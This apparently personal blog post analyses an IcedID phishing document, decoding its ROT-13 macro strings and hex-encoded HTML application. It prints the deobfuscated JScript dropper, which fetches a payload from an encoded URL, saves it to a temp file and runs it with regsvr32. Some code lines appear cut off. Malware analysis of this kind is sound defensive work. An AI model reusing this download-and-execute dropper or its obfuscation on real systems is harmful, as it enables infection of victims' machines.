Analysing IcedID: The macro and Mshta

Analysing IcedID malware


I was looking up for a malware to analyse just for fun. One day, I’ve saw a post on twitter from Suspicious Link, when there was a link to the sample. I thought it would be an opportunity to check out the sample. I’ll describe in future posts the analysis. This first part is quite incomplete as the macro and the Mshta are really simple - I was expecting more work to do.

The md5 hash file is 87e3a3829c723650bea2110ea75a43cd.

Casual phishing

By opening the doc file, we are greeted with the classic “Please run the macro”. Let’s just dive into the macro.

Lolz at the encoding

When looking at the strings in the macro, we can see at least three that catch the eye.

Public Const al9h8L As String = "p_:_\_j_v_a_q_b_j_f_\_f_l_f_g_r_z_3_2_\_z_f_u_g_n_._r_k_r_"
Public Const as2QC As String = "P_:_\_h_f_r_e_f_\_c_h_o_y_v_p_\_v_a_._p_b_z_"
Public Const akJ8O5 As String = "P_:_\_h_f_r_e_f_\_c_h_o_y_v_p_\_v_a_._u_g_z_y_"

Using our experimented ctfs skills, we can guess a ROT encoding.


And it is indeed a ROT-13 encoding. From this point, another wild guess is the macro will create a html file and will execute mshta on that file, probably dropping another file on the filesystem. There’s a big blob of text in the UserForm1, starting with <!QBPGLCR, which again translates to DOCTYPE using the rot-13. We can get the content and translate it using our vim foo, g?.

Quick and dirty mshta analysis

Reversing the html file can be done within minutes. I’ll explain how I did it, and a more thorough analysis will follow some day.

There’s p element containing what seems to be a hex encoded blob, starting with

<p id="content">616e75637272416e756372725[...]</p>

This blob should be used somewhere, and we can follow the reference. Another thing is that there’s only one function in the JavaScript, and it only converts a string passed in parameter.

function aQp7I(aXmFa)
        var al3VX = "";
        for(var a8tBHG = 0; a8tBHG < aXmFa.length; a8tBHG += 2)
                al3VX += String.fromCharCode(parseInt(aXmFa.substr(a8tBHG, 2), 16));

By adding a console.log(al3VX); right before the return, one can get the output of the function.

By following the content tag, we will first get to var aGml5p = document.getElementById("content");. Following the aGml5p variable, we get to amqBO.RegWrite(a8X0v, aGml5p.innerHTML, "REG_SZ");. So, the file will create a registry key and put the value of content in it. Following references to amqBO lead to a8fnhv = amqBO.RegRead(a8X0v). This can be simplified as a8fnhv = content.

Next, a8fnhv = aQp7I(a8fnhv);. Our function is called! What happens next: a8fnhv = a8fnhv.replace(/nucrr/ig, "");, then var azKf2 = new Function("u", "c", a8fnhv);. Let’s see what’s the result of the content after being passed to the aQp7I function and after the regex removes some nucrr occurrences.

aAT1V6 = true;
var avN2J = "aBUo3";
var aZAeCP = avN2J.length;

function ar9sv(ahf1a) {
    var avFW1R = "";
    for (var axF8yP = 0; axF8yP < ahf1a.length; axF8yP += 2) {
        avFW1R += String.fromCharCode(parseInt(ahf1a.substr(axF8yP, 2), 16));
    return (avFW1R);
var aqNek = true;
aFM47o = false;
akS0L = 30444;

function a2uAHR(avFW1R) {
    return (avFW1R.split("").reverse().join(""));
var aAgDpY = -38781;
var a8D1v = 47284;
var ae2PS = 12708;
aZacTF = "anUX4L";
a5WNsd = aZacTF.toLowerCase();
var avAZG = new ActiveXObject("msxml2.xmlhttp");
var aZHhk = -12863;
var apgUz = true;
var aGnoB = new ActiveXObject("");
var aFqyH = "aiXJ3";
a8Nh59 = aFqyH.toUpperCase();
aYdVD = true;
apeFM = -58349;
am5UGu = true;
var arfAe = new ActiveXObject("");
aLzZH7 = "aiPOsk";
a0zBvV = aLzZH7.toUpperCase();
avc2fk = "aG2REl";
var aLhWt = avc2fk.toUpperCase();
advOnm = arfAe.expandenvironmentstrings("%temp%");
var a4btjU = "aSbLM";
arpdw4 = true;
var a72X8Q = -9230;
a1TIE = "ackdmA";
aDyvj = a1TIE.length;
aqzl3 = -10026;
var a7bNS = true;
var aWI9yB = -30060;
asC6iW = advOnm + String.fromCharCode(92) + "temp.tmp";
aH3r4a = 6567;
var aTrpB8 = 29087;
a7fBn = "azidx0";
var auyeo = a7fBn.length;
aWg3M5 = "aga8Eq";
var aeoOT = aWg3M5.toString();
u = a2uAHR(u);
u = ar9sv(u);
amgJz = "ab3kae";
var aq6RX4 = 27911;
a4XbQ = false;
alWXi4 = 17174;
var aomJe = false;"GET", u, 0);

Quickly, we can assume a HTTP request will be made, because of the var avAZG = new ActiveXObject("msxml2.xmlhttp");. It might also execute a PE file using the"regsvr32 " + asC6iW). We can beautify the new JavaScript blob and read it. Two functions exist, and both are easy to understand (ar9sv and a2uAHR).

As the JavaScript code is only a hundred long lines, let’s check out where avAZG is used."GET", u, 0);, and what is the u variable? u = a2uAHR(u); u = ar9sv(u);. u seems to be undefined. Let’s go back to the other html part. var azKf2 = new Function("u", "c", a8fnhv);. Good! Where is azKf2 used? azKf2("261636e203136656c6f6d6d3c6f3078607e257775786f24616071637f2d6f636e296172787a717f2f2a307474786", 0);. Now, let’s just manually pass 261636e203136656c6f6d6d3c6f3078607e257775786f24616071637f2d6f636e296172787a717f2f2a307474786 to azKf2 as such, and then run the JavaScript code:

u = a2uAHR("261636e203136656c6f6d6d3c6f3078607e257775786f24616071637f2d6f636e296172787a717f2f2a307474786");
u = ar9sv(u);
$ js test.js

And we got our next file!

$ file PE32 executable (DLL) (GUI) Intel 80386, for MS Window

Now shall start the fun!